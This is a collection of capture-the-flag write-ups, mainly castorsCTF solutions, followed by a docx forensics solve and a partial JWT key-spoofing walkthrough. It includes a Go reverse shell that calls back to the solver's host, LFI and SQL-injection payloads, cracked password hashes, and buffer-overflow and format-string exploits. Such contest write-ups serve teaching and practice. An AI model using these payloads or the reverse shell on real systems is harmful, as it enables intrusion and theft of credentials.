nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
Given this Microsoft Word document and after checking if there is anything visually relevant, we walk it using `binwalk` to look for file signatures within it.
```$ binwalk -e microsooft.docx
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 334, uncompressed size: 1374, name: [Content_Types].xml383 0x17F Zip archive data, at least v2.0 to extract, name: _rels/419 0x1A3 Zip archive data, at least v2.0 to extract, compressed size: 221, uncompressed size: 580, name: _rels/.rels681 0x2A9 Zip archive data, at least v2.0 to extract, name: docProps/720 0x2D0 Zip archive data, at least v2.0 to extract, compressed size: 284, uncompressed size: 508, name: docProps/app.xml1050 0x41A Zip archive data, at least v2.0 to extract, compressed size: 350, uncompressed size: 731, name: docProps/core.xml1447 0x5A7 Zip archive data, at least v2.0 to extract, name: src/1481 0x5C9 Zip archive data, at least v2.0 to extract, compressed size: 1615, uncompressed size: 2128, name: src/gfxdata.txt3141 0xC45 Zip archive data, at least v1.0 to extract, compressed size: 1574, uncompressed size: 1574, name: src/gfxdata.zip4738 0x1282 End of Zip archive, footer length: 224760 0x1298 Zip archive data, at least v2.0 to extract, compressed size: 1426, uncompressed size: 3561, name: src/oof.txt6227 0x1853 Zip archive data, at least v2.0 to extract, compressed size: 3485, uncompressed size: 4167, name: src/unencrypted.docx9762 0x2622 Zip archive data, at least v2.0 to extract, name: word/9797 0x2645 Zip archive data, at least v2.0 to extract, name: word/_rels/9838 0x266E Zip archive data, at least v2.0 to extract, compressed size: 197, uncompressed size: 531, name: word/_rels/document.xml.rels10093 0x276D Zip archive data, at least v2.0 to extract, compressed size: 2195, uncompressed size: 3541, name: word/document.xml12335 0x302F Zip archive data, at least v2.0 to extract, compressed size: 308, uncompressed size: 959, name: word/fontTable.xml12691 0x3193 Zip archive data, at least v2.0 to extract, compressed size: 165, uncompressed size: 208, name: word/settings.xml12903 0x3267 Zip archive data, at least v2.0 to extract, compressed size: 632, uncompressed size: 2384, name: word/styles.xml15310 0x3BCE End of Zip archive, footer length: 22```
After extracting it, we go to the folder to see the extracted content and look for the pattern `flag{` using `strings````$ strings `find *` | grep flagstrings: Warning: 'docProps' is a directorystrings: Warning: '_rels' is a directorystrings: Warning: 'src' is a directorystrings: Warning: 'word' is a directorystrings: Warning: 'word/_rels' is a directorySed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. flag{oof_is_right_why_gfxdata_though} Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.```
And we have the flag as `flag{oof_is_right_why_gfxdata_though}` |
## Flag jokes, WEB 200 pti#### Author: p4w
### TL;DRIn this challenge we have to exploit a __JWKS Spoofing__ vulnerability. This vulnerability exists if the application __trust an arbitrary url__ to retrieve the __public key__ to verify the cookie signature. An attacker can host his own public key on his malicious server in order to modify and sign the cookie with his key-pair.
### Token analysis
* The challenge let us login with any username we want, except from __admin__, and the goal is to become __admin__.* The login phase is simple we send the username we want and the application respond with a signed jwt.* Analysis of the jwt-cookie:

* Token analysis * As we can notice we have 3 elements into the json part of the jwt-header and you can find the details at this link https://tools.ietf.org/id/draft-ietf-jose-json-web-signature-01.html#rfc.section.4

* To summarize, the `alg` header parameter specify the algorithm used by the web-application to sign the cookie. The `kid` header parameter is used to identify a specific key in a list of keys. The `jku` header parameter is used to point to an URL which contains a set of __json encoded public keys__.
* Let's see if we can retrieve the remote `jwks.json` file pointed by the token we have
### Exploiting the vuln
* The general idea should be to tamper the `jkw` to point to our server hosting our `jwks.json` file with our lists of keys.
* Generate RSA key-pair with `openssl`: * with this command we can generate the RSA private key: ``` $ openssl genpkey -algorithm RSA -out private_key.pem -pkeyopt rsa_keygen_bits:2048 ``` * with this command we can extract the public certificate associated to the RSA private key previously created: ``` $ openssl rsa -pubout -in private_key.pem -out public_key.pem ```* Now we should have both __PUBLIC__ and __PRIVATE__ certificate in our current folder and we need to extract the `n` value. To do that I used an online service:

* Since the values for the public key contained in the `jwks.json` shold be in base64, then we need to convert the n from `hex` to `base64(raw-hex-bytes)`. To do that we can use burp-proxy:

* Create our `jwks.json` file. To do that we can just use the original one and replace the value of __n__ with the value associated with our RSA-key:
